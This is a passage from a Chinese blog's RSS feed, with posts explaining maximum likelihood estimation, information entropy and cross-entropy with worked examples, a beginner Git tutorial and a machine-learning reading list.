&lt;h4 id=&quot;离散型随机变量&quot;&gt;&lt;strong&gt;离散型随机变量&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;总体 $X$ 属于离散型，其分布律 $P\lbrace X=x \rbrace =p(x;\theta)$，$\theta \in \Theta$ 的形式为已知，$\theta$ 为待估计参数，$\Theta$ 是 $\theta$ 可能的取值范围。设 $X_1,X_2,\cdots,X_n$ 是来自 $X$ 的样本，则 $X_1,X_2,\cdots,X_n$ 的联合分布律为：
\begin{equation}
	\prod_{i=1}^{n}{p(x_i;\theta)}
\end{equation}&lt;/p&gt;

&lt;p&gt;设 $x_1,x_2,\cdots,x_n$ 是相应于样本 $X_1,X_2,\cdots,X_n$ 的一个估计值。易知样本 $X_1,X_2,\cdots,X_n$ 取到观察值 $x_1,x_2,\cdots,x_n$ 的概率，亦即时间 $\lbrace X_1=x_1, X_2=x_2,\cdots,X_n=x_n \rbrace$ 发生的概率为：
\begin{equation}
	L(\theta) = L(x_1,x_2,\cdots,x_n;\theta) = \prod_{i=1}^{n}{p(x_i;\theta)}, \theta \in \Theta
\end{equation}
这一概率随 $\theta$ 的取值而变化，它是 $\theta$ 的函数，$L(\theta)$ 称为样本的&lt;strong&gt;似然函数&lt;/strong&gt;（注意，这里 $x_1,x_2,\cdots,x_n$ 是已知的样本值，即已发生的时间，它是都是常数）。&lt;/p&gt;

&lt;p&gt;关于最大似然估计法，我们有以下的直观想法：现在已经取到样本值 $x_1,x_2,\cdots,x_n$ 了，这表明取到这一样本值得概率 $L(\theta)$ 比较大。我们当然不会考虑那些不能使样本 $x_1,x_2,\cdots,x_n$ 出现的 $\theta \in \Theta$ 作为 $\theta$ 的估计，再者，如果已知当 $\theta=\theta_0 \in \Theta$ 时使 $L(\theta)$ 取最大值，而 $\Theta$ 中的其他 $\theta$ 的值使 $L(\theta)$ 取很小值，我们自然认为取 $\theta_0$ 作为未知参数 $\theta$ 的估计值，较为合理。由费希尔（R.A.Fisher）引进的最大似然估计法，就是固定样本观测值 $x_1,x_2,\cdots,x_n$，在 $\theta$ 取值的可能范围 $\Theta$ 内挑选使似然函数 $L(\theta) = L(x_1,x_2,\cdots,x_n;\theta)$ 达到最大的参数值 $\hat{\theta}$ ，作为参数 $\theta$ 的估计值。即取 $\hat{\theta}$ 使：
\begin{equation}
	L(\theta) = L(x_1,x_2,\cdots,x_n;\hat{\theta}) = \max_{\theta \in \Theta}{L(x_1,x_2,\cdots,x_n;\theta)}
\end{equation}&lt;/p&gt;

&lt;p&gt;这样得到的 $\hat{\theta}$ 与样本值 $x_1,x_2,\cdots,x_n$ 有关，常记为 $\hat{\theta}(x_1,x_2,\cdots,x_n)$ ，称为参数 $\theta$ 的&lt;strong&gt;最大似然估计值&lt;/strong&gt;，而相应的统计量 $\hat{\theta}(X_1,X_2,\cdots,X_n)$ 称为参数 $\theta$ 的&lt;strong&gt;最大似然估计量&lt;/strong&gt;。
\begin{equation}
	\hat{\theta} = \arg\max_{\theta \in \Theta}{L(\theta)} = \arg\max_{\theta \in \Theta}{\prod_{i=1}^{n}{p(x_i;\theta)}}
\end{equation}&lt;/p&gt;

&lt;h4 id=&quot;连续型随机变量&quot;&gt;&lt;strong&gt;连续型随机变量&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;总体 $X$ 属于连续型，其概率密度 $f(x;\theta)$，$\theta \in \Theta$ 的形式已知，$\theta$ 为待估参数，$\Theta$ 是 $\theta$ 可能取值的范围。设 $X_1,X_2,\cdots,X_n$ 是来自 $X$ 的样本，则 $X_1,X_2,\cdots,X_n$ 的联合密度为：
\begin{equation}\label{eqn:Probability Density Function of Continuous Variable}
	\prod_{i=1}^{n}{f(x_i,\theta)}
\end{equation}
设 $x_1,x_2,\cdots,x_n$ 是相应于样本 $X_1,X_2,\cdots,X_n$ 的一个样本值，则随机点 $(X_1,X_2,\cdots,X_n)$ 落在点 $(x_1,x_2,\cdots,x_n)$ 的邻域（边长分别为 $\text{d}x_1,\text{d}x_2,\cdots,\text{d}x_n$ 的 $n$ 维立方体）内的概率近似地为：
\begin{equation}\label{eqn:Approprixate Probability of a Sample for Continuous Variable}
	\prod_{i=1}^{n}{f(x_i;\theta)\text{d}x_i}
\end{equation}
其取值随 $\theta$ 的取值而变化。与离散型的情况一样，我们取 $\theta$ 的估计值 $\hat{\theta}$ 使概率（\ref{eqn:Approprixate Probability of a Sample for Continuous Variable}）到最大值，但因子 $\prod_{i=1}^{n}{\text{d}x_i}$ 不随 $\theta$ 而变，故只需考虑函数：
\begin{equation}\label{eqn:Likelyhood Function of Continuous Variable}
	L(\theta) = L(x_1,x_2,\cdots,x_n;\theta) = \prod_{i=1}^{n}{f(x_i;\theta)}
\end{equation}
的最大值。这里 $L(\theta)$ 称为样本的&lt;strong&gt;似然函数&lt;/strong&gt;。若
\begin{equation}\label{eqn:Maximum Likelyhood Function of Continuous Variable}
	L(x_1,x_2,\cdots,x_n;\hat{\theta}) = \max_{\theta \in \Theta}{L(x_1,x_2,\cdots,x_n;\theta)}
\end{equation}
则称 $\hat{\theta}(x_1,x_2,\cdots,x_n)$ 为 $\theta$ 的&lt;strong&gt;最大似然估计值&lt;/strong&gt;，称 $\hat{\theta}(X_1,X_2,\cdots,X_n)$ 为 $\theta$ 的&lt;strong&gt;最大似然估计l量&lt;/strong&gt;。
\begin{equation}
	\hat{\theta} = \arg\max_{\theta \in \Theta}{L(\theta)} = \arg\max_{\theta \in \Theta}{\prod_{i=1}^{n}{f(x_i;\theta)}}
\end{equation}&lt;/p&gt;

&lt;h4 id=&quot;对数似然方程&quot;&gt;&lt;strong&gt;对数似然方程&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;由上述分析，确定最大似然估计量的问题就归结为微分学中求最大值的问题了。
在很多情形下，$p(x;\theta)$ 和 $f(x;\theta)$ 关于 $\theta$ 可微，这时 $\hat{\theta}$ 常可从方程：
\begin{equation}\label{eqn:Difference of Likelyhood Function}
	\frac{\text{d}}{\text{d}\theta}L(\theta)=0
\end{equation}
解得。又因 $L(\theta)$ 与 $\ln L(\theta)$ 在同一 $\theta$ 处取到极值，因此，$\theta$ 的最大似然估计 $\theta$ 也可以从方程：
\begin{equation}\label{eqn:Difference of Logarithm Likelyhood Function}
	\frac{\text{d}}{\text{d}\theta}\ln L(\theta)=0
\end{equation}
求得，而且从方程（\ref{eqn:Difference of Logarithm Likelyhood Function}）求解往往比较方便。方程（\ref{eqn:Difference of Logarithm Likelyhood Function}）称为&lt;strong&gt;对数似然方程&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;\begin{equation}
	\hat{\theta} = \arg\max_{\theta \in \Theta}{\ln L(\theta)}
\end{equation}&lt;/p&gt;

&lt;h4 id=&quot;多未知参数的似然估计&quot;&gt;&lt;strong&gt;多未知参数的似然估计&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;最大似然估计法也适用于分布中含有多个未知参数 $\theta_1,\theta_2,\cdots,\theta_k$ 的情况。这时，似然函数 $L$ 是这些未知参数的函数。分别令：
\begin{equation*}
	\frac{\partial}{\partial\theta_i}L(\theta)=0,i=1,2,\cdots,k
\end{equation*}
或者
\begin{equation}\label{eqn:Group of Logarithm Likelyhood Function}
	\frac{\partial}{\partial\theta_i}\ln L(\theta)=0,i=1,2,\cdots,k
\end{equation}
解上述由 $k$ 个方程组成的方程组，即可得到各未知参数 $\theta_i(i=1,2,\cdots,k)$ 的最大似然估计值 $\hat{\theta}_i$。方程组（\ref{eqn:Group of Logarithm Likelyhood Function}）称为&lt;strong&gt;对数似然方程组&lt;/strong&gt;。&lt;/p&gt;

&lt;h3 id=&quot;举例&quot;&gt;举例&lt;/h3&gt;
&lt;h4 id=&quot;例题一&quot;&gt;&lt;strong&gt;例题一&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;设 $X \sim b(1,p)$。$X_1,X_2,\cdots,X_n$ 是来自 $X$ 的一个样本，试求参数 $p$ 的最大似然估计。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;解&lt;/strong&gt;：
设 $x_1,x_2,\cdots,x_n$ 是相应于样本 $X_1,X_2,\cdots,X_n$ 的一个样本值。 $X$ 的分布律为：
\begin{equation*}
	P\lbrace X=x \rbrace = p^{x}(1-p)^{1-x}, x = 0,1
\end{equation*}
故似然函数为：
\begin{equation*}
	L(p) = \prod_{i=1}^{n}{p^{x_i}(1-p)^{1-x_i}} = p^{\sum_{i=1}^{n}{~x_i}}~(1-p)^{n-\sum_{i=1}^{n}{~x_i}}
\end{equation*}
而
\begin{equation*}
	\ln L(p) = (\sum_{i=1}^{n}{x_i})\ln p + (n-\sum_{i=1}^{n}{x_i})\ln(1-p)
\end{equation*}
令
\begin{equation*}
	\frac{\text{d}}{\text{d}p}\ln L(p) = \frac{\sum_{i=1}^{n}{x_i}}{p} - \frac{n-\sum_{i=1}^{n}{x_i}}{1-p} = 0
\end{equation*}
解得 $p$ 的最大似然估计值：
\begin{equation*}
	\hat{p} = \frac{1}{n}~\sum_{i=1}^{n}{x_i} = \bar{x}
\end{equation*}
$p$ 的最大似然估计量为：
\begin{equation*}
	\hat{p} = \frac{1}{n}~\sum_{i=1}^{n}{X_i} = \bar{X}
\end{equation*}&lt;/p&gt;

&lt;h3 id=&quot;小结&quot;&gt;小结&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;最大似然估计法所求的解只是估计值，只有在样本数趋于无限多的时候，它才会接近于真实值&lt;/strong&gt;。
求解最大似然估计量 $\hat{\theta}$ 的一般步骤：&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;根据概率分布写出似然函数；&lt;/li&gt;
  &lt;li&gt;对似然函数取对数，并整理；&lt;/li&gt;
  &lt;li&gt;对对数似然函数中所有待估计参数 $\theta_i$ 求（偏）导数，并令倒数为零；&lt;/li&gt;
  &lt;li&gt;求解似然方程（组）；&lt;/li&gt;
&lt;/ul&gt;

&lt;!--
--&gt;

</description>
        <pubDate>Mon, 08 Aug 2016 00:00:00 +0000</pubDate>
        <link>http://leexuan.github.io/2016/08/MaximumLikelihoodEstimate_ParameterEstimation/</link>
        <guid isPermaLink="true">http://leexuan.github.io/2016/08/MaximumLikelihoodEstimate_ParameterEstimation/</guid>
        
        <category>机器学习</category>
        
        
      </item>
    
      <item>
        <title>信息论中“熵”的理解</title>
        <description>&lt;h3 id=&quot;熵的介绍&quot;&gt;“熵”的介绍&lt;/h3&gt;

&lt;p&gt;信息熵（Information entropy）是信息论中的概念，由香农（ mathematician Claude Shannon）在其论文“&lt;a href=&quot;https://dl.acm.org/citation.cfm?id=584093&quot;&gt;A Mathematical Theory of Communication&lt;/a&gt;”提出的。它衡量事件所包含的信息量。一般而言，事件的不确定性或者随机性越大，则它包含的信息越多。&lt;/p&gt;

&lt;p&gt;例如，如果一个人被告知他已知道的信息，则他获取的信息是很少的。告知某人已知道的信息，是没有意义的，则说这些信息具有较低的熵；反之，如果一个人被告知他不知道的信息，则他获取的信息是很多的。这些信息对他而言是有价值的，表明这些信息具有加高的熵。&lt;/p&gt;

&lt;h3 id=&quot;熵的定义&quot;&gt;“熵”的定义&lt;/h3&gt;
&lt;p&gt;这里讨论离散的情况。对于离散随机变量 $X=\lbrace x_1,x_2,\cdots,x_n \rbrace$，其概率分布为$P(X)=\lbrace p(x_1),p(x_2),\cdots,p(x_n) \rbrace$，则该离散随机变量 $X$ 的熵定义为：
\begin{equation}
	H(X)=E[-\ln(P(X))]=-\sum_{i=1}^{n}{p(x_i)\log_{b}{p(x_i)}}
\end{equation}
熵的本质是香农信息量（$\log(P(X))$）的期望。&lt;/p&gt;

&lt;h3 id=&quot;交叉熵&quot;&gt;“交叉熵”&lt;/h3&gt;
&lt;p&gt;关于样本集的2个概率分布 $P$ 和 $Q$，其中 $P$ 为真实分布， $Q$ 为估计（预测）分布。按照真实的分布 $P$ 来衡量识别一个样本的所需要的编码长度的期望（平均编码长度）为：
\begin{equation}
	H(p)=-\sum_{i}{p(x_i)\log_{b}{p(x_i)}}
\end{equation}
如果用估计的分布 $Q$ 来表示真实分布 $P$ 的平均编码长度，则为：
\begin{equation}
	H(p,q)=-\sum_{i}{p(x_i)\log_{b}{q(x_i)}}
\end{equation}
将 $H(p,q)$ 称之为“交叉熵”。&lt;/p&gt;

&lt;h3 id=&quot;举例说明&quot;&gt;举例说明&lt;/h3&gt;
&lt;h4 id=&quot;例一&quot;&gt;&lt;strong&gt;例一&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;考虑抛均匀的硬币这一个案例。
抛掷&lt;strong&gt;均匀&lt;/strong&gt;硬币，此时下一次抛掷结果的不确定的熵是最大的。因为出现正反面是等概率的，均为0.5，不确定性最大，其结果也最难预测。其熵计算如下：
\begin{equation*}
	H(X)=-\sum_{i=1}^{n}{p(x_i)\log_{b}{p(x_i)}}=-\sum_{i=1}^{2}{\frac{1}{2} \log_{2}(\frac{1}{2})}=1
\end{equation*}&lt;/p&gt;

&lt;p&gt;如果硬币不均匀，即出现正反面的概率不等，则下一次抛掷结果的不确定性减少了，因为因为有更大的可能性出现某一面。如假设出现正面的概率为$p=0.7$，则反面出现的概率为$q=0.3$。此时，熵的计算如下：
\begin{equation*}
	H(X)=-p\log_2(p)-q\log_2(q)=-0.7\log_2(0.7)-0.3\log_2(0.3) \approx 0.881 &amp;lt; 1
\end{equation*}&lt;/p&gt;

&lt;p&gt;最极端的例子是硬币两面一样，则不管如何抛掷硬币结果都一样，没有提供新的信息，不存在不确定性，此时的熵则为0。&lt;/p&gt;

&lt;p&gt;下图展示了抛掷硬币出现某一面的概率大小对熵的变化大小。
&lt;img src=&quot;/images/posts/2016-08-08-UnderstandingTheEntropy/TossaCoin.png&quot; alt=&quot;&quot; height=&quot;240px&quot; width=&quot;260px&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;例二&quot;&gt;&lt;strong&gt;例二&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;猜测球的颜色游戏：人甲拿出一个球，人乙猜球的颜色，猜对游戏停止，否则继续猜测。当答案只剩下两种选择时，猜测游戏结束，无论猜对猜错都能$100\%$的确定答案，无需再猜一次。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;题目一：&lt;/strong&gt;
有橙、紫、蓝及青四种颜色的小球任意个，各颜色小球的占比不清楚，现在从中拿出一个小球，猜所拿出的小球是什么颜色？&lt;/p&gt;

&lt;p&gt;在这种情况下，各色小球数量未知，只能认为四种颜色的小球出现的概率是一样的。所以，根据下图策略 $1$，各小球颜色只需要猜两次。
&lt;img src=&quot;/images/posts/2016-08-08-UnderstandingTheEntropy/Strategy-I.jpg&quot; alt=&quot;&quot; height=&quot;240px&quot; width=&quot;330px&quot; /&gt;
故，期望的猜球次数为：\(H=\frac{1}{4}*2 + \frac{1}{4}*2 + \frac{1}{4}*2 + \frac{1}{4}*2=2\)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;题目二：&lt;/strong&gt;
箱子里面有小球任意个，知道其中 $\frac{1}{2}$ 是橙色球，$\frac{1}{4}$ 是紫色球，$\frac{1}{8}$ 是蓝色球及 $\frac{1}{8}$ 是青色球。现在从中拿出一个小球，猜所拿出的小球是什么颜色？&lt;/p&gt;

&lt;p&gt;很明显，在这种情况下，橙色占比二分之一，如果猜测橙色，很有可能第一次就猜中。故根据下图策略，$\frac{1}{2}$ 的概率是橙色求，只需要猜测一次；$\frac{1}{4}$ 的概率是紫色求，只需要猜测两次；$\frac{1}{3}$ 的概率是蓝色求，只需要猜测三次；$\frac{1}{8}$ 的概率是青色求，只需要猜测三次；
&lt;img src=&quot;/images/posts/2016-08-08-UnderstandingTheEntropy/Strategy-II.jpg&quot; alt=&quot;&quot; height=&quot;240px&quot; width=&quot;330px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;故，期望的猜球次数为：\(H=\frac{1}{2}*1 + \frac{1}{4}*2 + \frac{1}{8}*3 + \frac{1}{8}*3=1.75\)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;题目三：&lt;/strong&gt;
箱子里面有小球任意个，知道全部是橙色球。现在从中拿出一个小球，猜所拿出的小球是什么颜色？&lt;/p&gt;

&lt;p&gt;很明显，拿出的球肯定是橙色，需要猜测 $0$ 次。&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;
&lt;strong&gt;总结–信息熵&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;上面三个题目表现出这样一种现象：针对特定概率为 $p$ 的小球，需要猜球的次数为 $\log_2{(1/p)}$，例如&lt;strong&gt;题目二&lt;/strong&gt;中，$1/4$ 是紫色球，需猜测 $\log_2{4}=2$ 次，$1/8$ 是蓝球，需猜测 $\log_2{8}=3$ 次。那么，针对这个过程，预期的猜题次数为：
\begin{equation}
	\sum_{k=1}^{N}{p_k \log_{2}{\frac{1}{p_k}}}
\end{equation}&lt;/p&gt;

&lt;p&gt;这就是&lt;strong&gt;信息熵&lt;/strong&gt;。&lt;strong&gt;信息熵代表的是随机变量或整个系统的不确定性，熵越大，随机变量或系统的不确定性就越&lt;/strong&gt;。第一题的信息熵为 $2$，第二题的信息熵为 $1.75$，最三题的信息熵为 $0$，题目一的熵 &amp;gt; 题目二的熵 &amp;gt; 题目三的熵。题目一，由于对整个系统一无所知，只能假设所有的情况出现的概率都是均等的，此时的熵是最大的；题目二中，知道了各颜色小球出现的概率，说明小明对这个系统有一定的了解，所以系统的不确定性自然会降低，所以熵小于 $2$；题目三中，已经知道箱子中全部都是橙色球，拿出的球肯定是橙色的，因而不确定性为0，也就是熵为0。所以，在什么都不知道的情况下，熵会最大，针对上面的题目一 ~ 题目三，这个最大值是 $2$，除此之外，其余的任何一种情况，熵都会比 $2$小。&lt;/p&gt;

&lt;p&gt;上述题目中，已知的概率分布，称之为真实分布，如题目一中的 $\lbrace \frac{1}{4},\frac{1}{4},\frac{1}{4},\frac{1}{4} \rbrace$ 和题目二中的 $\lbrace \frac{1}{2},\frac{1}{4},\frac{1}{8},\frac{1}{8} \rbrace$。&lt;strong&gt;根据真实分布，能够找到一个最优策略，以最小的代价消除系统的不确定性，而这个代价大小就是信息熵。信息熵衡量了系统的不确定性，而我们要消除这个不确定性，所要付出的【最小努力】（猜题次数、编码长度等）的大小就是信息熵&lt;/strong&gt;。具体来讲，题目1只需要猜两次就能确定任何一个小球的颜色，题目2只需要猜测1.75次就能确定任何一个小球的颜色。&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;
&lt;strong&gt;总结–交叉熵&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;回到题目二，已知小球的真实分布是 $\lbrace \frac{1}{2},\frac{1}{4},\frac{1}{8},\frac{1}{8} \rbrace$，然而，猜球者忽略了小球的真实分布，任然固执的认为所有小球出现的概率相同，为 $\lbrace \frac{1}{4},\frac{1}{4},\frac{1}{4},\frac{1}{4} \rbrace$，这个分布就是非真实分布，或者预计/估计的分布。&lt;/p&gt;

&lt;p&gt;此时，猜测的期望次数是：\(H=\frac{1}{2}*\log_2{4} + \frac{1}{4}*\log_2{4} + \frac{1}{8}*\log_2{4} + \frac{1}{8}*\log_2{4}=2\)。&lt;/p&gt;

&lt;p&gt;很明显，针对题目二，使用题目一中的策略是一个坏的选择，因为需要猜题的次数增加了，从$1.75$变成了$2$。因此，当根据系统的真实分布制定最优策略去消除系统的不确定性时，所付出的努力是最小的；当然，也许会使用其他的策略（非真实分布）去消除系统的不确定性，则所付出的努力是有所增加。那么，当我们使用非最优策略消除系统的不确定性，所需要付出的努力的大小我们该如何去衡量呢？使用&lt;strong&gt;交叉熵&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;交叉熵，其用来衡量在给定的真实分布下，使用非真实分布所指定的策略消除系统的不确定性所需要付出的努力的大小&lt;/strong&gt;。其定义见&lt;strong&gt;交叉熵&lt;/strong&gt;定义。将题目一中策略用于题目二，真实分布为 $P=\lbrace \frac{1}{2},\frac{1}{4},\frac{1}{8},\frac{1}{8} \rbrace$，非真实分布为 $Q=\lbrace \frac{1}{4},\frac{1}{4},\frac{1}{4},\frac{1}{4} \rbrace$，则交叉熵为\(\frac{1}{2}*\log_2{4} + \frac{1}{4}*\log_2{4} + \frac{1}{8}*\log_2{4} + \frac{1}{8}*\log_2{4}=2\)，比最优策略的 $1.75$ 大。&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;
因此，交叉熵越低，这个策略就越好，说明这个策略越接近最优策略。最低的交叉熵也就是使用了真实分布所计算出来的信息熵。因此，当 $P=Q$ 时，交叉熵=信息熵。因此，在机器学习分类算法中，常用交叉熵作为代价函数，寻求最小交叉熵，因为交叉熵越低，就证明由算法所产生的策略最接近最优策略，也间接证明我们算法所算出的非真实分布（根据样本计算的分布）越接近真实分布。&lt;/p&gt;

&lt;h3 id=&quot;参考链接&quot;&gt;参考链接：&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Entropy_(information_theory)&quot;&gt;Wikipedia: Entropy (information theory)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zhihu.com/question/41252833&quot;&gt;知乎连接：Noriko Oshima 和 CyberRep
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;!--
--&gt;

</description>
        <pubDate>Mon, 08 Aug 2016 00:00:00 +0000</pubDate>
        <link>http://leexuan.github.io/2016/08/UnderstandingTheEntropy/</link>
        <guid isPermaLink="true">http://leexuan.github.io/2016/08/UnderstandingTheEntropy/</guid>
        
        <category>机器学习</category>
        
        
      </item>
    
      <item>
        <title>Git教程</title>
        <description>&lt;h3 id=&quot;介绍&quot;&gt;介绍&lt;/h3&gt;

&lt;p&gt;　　Git是做项目的版本管理，你也可以称它们为版本管理工具。假如现在你有一个文件夹，里面可以是项目，也可以是你的个人笔记(如我这个博客)，或者是你的简历、毕业设计等等，都可以使用git来管理。&lt;/p&gt;

&lt;p&gt;　　目前常用的版本控制器有Git和SVN，即使这两个你没有全用过，至少也会听过，我这里以Git为例，个人比较喜欢Git，你也可以看看这篇文章：&lt;a href=&quot;http://www.worldhello.net/2012/04/12/why-git-is-better-than-svn.html&quot;&gt;为什么Git比SVN好&lt;/a&gt;。我使用的是Mac，Mac上没自带Git环境，但是作为iOS开发者，我安装Xcode的时候，Xcode里是有自带Git的，所以我不需要考虑怎么去安装Git了。&lt;/p&gt;

&lt;h3 id=&quot;安装git&quot;&gt;安装Git&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;在Mac OS X上安装Git&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;提供两种方法参考：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;1、通过homebrew安装Git，具体方法请参考&lt;a href=&quot;http://brew.sh/&quot;&gt;homebrew的文档&lt;/a&gt;    &lt;br /&gt;
2、直接从AppStore安装Xcode，Xcode集成了Git，不过默认没有安装，你需要运行Xcode。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;在Windows上安装Git&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;从&lt;a href=&quot;https://git-for-windows.github.io&quot;&gt;https://git-for-windows.github.io&lt;/a&gt; 下载，然后按默认选项安装即可，安装完成后，在开始菜单里找到“Git”-&amp;gt;“Git Bash”，蹦出一个类似命令行窗口的东西，就说明Git安装成功！&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;配置git&quot;&gt;配置Git&lt;/h3&gt;

&lt;p&gt;安装完成后，还需要最后一步设置，在命令行输入：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;$ git config –global user.name “Your Name”&lt;/li&gt;
    &lt;li&gt;$ git config –global user.email “email@example.com”&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;“Your Name”： 是每次提交时所显示的用户名，因为Git是分布式版本控制系统，当我们push到远端时，就需要区分每个提交记录具体是谁提交的，这个”Your Name”就是最好的区分。&lt;/p&gt;

&lt;p&gt;“email@example.com”： 是你远端仓库的email&lt;/p&gt;

&lt;p&gt;–global：用了这个参数，表示你这台机器上所有的Git仓库都会使用这个配置，当然我们也可以对某个仓库指定不同的用户名和Email地址。&lt;/p&gt;

&lt;h3 id=&quot;开始使用-建立仓库&quot;&gt;开始使用-建立仓库：&lt;/h3&gt;

&lt;p&gt;你在目标文件夹下使命令：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;git init  （创建.git文件）&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;就会创建一个 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git&lt;/code&gt; 隐藏文件，相当于已经建立了一个本地仓库。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;添加到暂存区：&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;git add .   （全部添加到暂存区）&lt;/li&gt;
    &lt;li&gt;git commit -m ‘ first commit’  （提交暂存区的记录到本地仓库）&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;其它&quot;&gt;其它&lt;/h3&gt;

&lt;p&gt;git branc 查看时如出现&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;(HEAD detached at analytics_v2)&lt;/li&gt;
    &lt;li&gt;dev&lt;/li&gt;
    &lt;li&gt;master&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;代表现在已经进入一个临时的HEAD，可以使用 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git checkout -b temp&lt;/code&gt; 创建一个 temp branch，这样临时HEAD上修改的东西就不会被丢掉了。
然后切换到 dev 分支上，在使用 git branch merge temp，就可以把 temp 分支上的代码合并到 dev 上了。&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;转载请注明：&lt;a href=&quot;http://baixin&quot;&gt;潘柏信的博客&lt;/a&gt; » &lt;a href=&quot;http://baixin.io/2016/07/GitTutorial/&quot;&gt;点击阅读原文&lt;/a&gt;&lt;/p&gt;

</description>
        <pubDate>Wed, 13 Jul 2016 00:00:00 +0000</pubDate>
        <link>http://leexuan.github.io/2016/07/GitTutorial/</link>
        <guid isPermaLink="true">http://leexuan.github.io/2016/07/GitTutorial/</guid>
        
        <category>工具使用</category>
        
        
      </item>
    
      <item>
        <title>机器学习学前阅读</title>
        <description>&lt;h3 id=&quot;机器学习基本路线&quot;&gt;机器学习基本路线&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2016-07-06-MachineLearning_outline/Road.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;数据学科竞赛：&lt;a href=&quot;http://www.pkbigdata.com/&quot;&gt;DataCastle&lt;/a&gt;、&lt;a href=&quot;https://tianchi.aliyun.com/&quot;&gt;天池&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&quot;知识交叉&quot;&gt;知识交叉&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2016-07-06-MachineLearning_outline/KnowledgeCross.png&quot; alt=&quot;&quot; height=&quot;340px&quot; width=&quot;360px&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Math &amp;amp; Statistics Knowledge: 数学相关知识，如高等数学、矩阵论、数理统计与概率等；&lt;/li&gt;
  &lt;li&gt;Hacking Skills: 编程相关的技能；&lt;/li&gt;
  &lt;li&gt;Substantive Expertise: 行业领域知识；&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;机器学习分类&quot;&gt;机器学习分类&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/2016-07-06-MachineLearning_outline/ClassificationForMachineLearningAlgorithm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;监督学习：例如用户点击/购买预测/房价预测；&lt;/li&gt;
  &lt;li&gt;非监督学习：例如邮件/新闻聚类；&lt;/li&gt;
  &lt;li&gt;强化学习：例如动态系统以及机器人控制；&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;机器学习算法一览表&quot;&gt;机器学习算法一览表&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/2016-07-06-MachineLearning_outline/ReviewofMLAlgorithm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;机器学习相关学习资料&quot;&gt;机器学习相关学习资料&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;Christopher M. Bishop, Patern Recognition and Machine Learning, Springer-Verlag, 2006&lt;/li&gt;
  &lt;li&gt;Kevin P.Murphy, Machine Learning: A Probabilistic Perspective, The MIT Press, 2012&lt;/li&gt;
  &lt;li&gt;李航， 统计学习方法，清华大学出版社，2012&lt;/li&gt;
  &lt;li&gt;周志华，机器学习，清华大学出版社，2016&lt;/li&gt;
  &lt;li&gt;Machine Learning, Andrew Ng, coursera&lt;/li&gt;
  &lt;li&gt;机器学习基石/技术，林轩田，coursera&lt;/li&gt;
  &lt;li&gt;……&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;不同资料难易程度不同，需要提前准备好相应基础。&lt;/p&gt;
</description>
        <pubDate>Tue, 05 Jul 2016 00:00:00 +0000</pubDate>
        <link>http://leexuan.github.io/2016/07/MachineLearning_outline/</link>
        <guid isPermaLink="true">http://leexuan.github.io/2016/07/MachineLearning_outline/</guid>
        
        <category>机器学习</category>
        
        
      </item>
    
  </channel>
</rss>
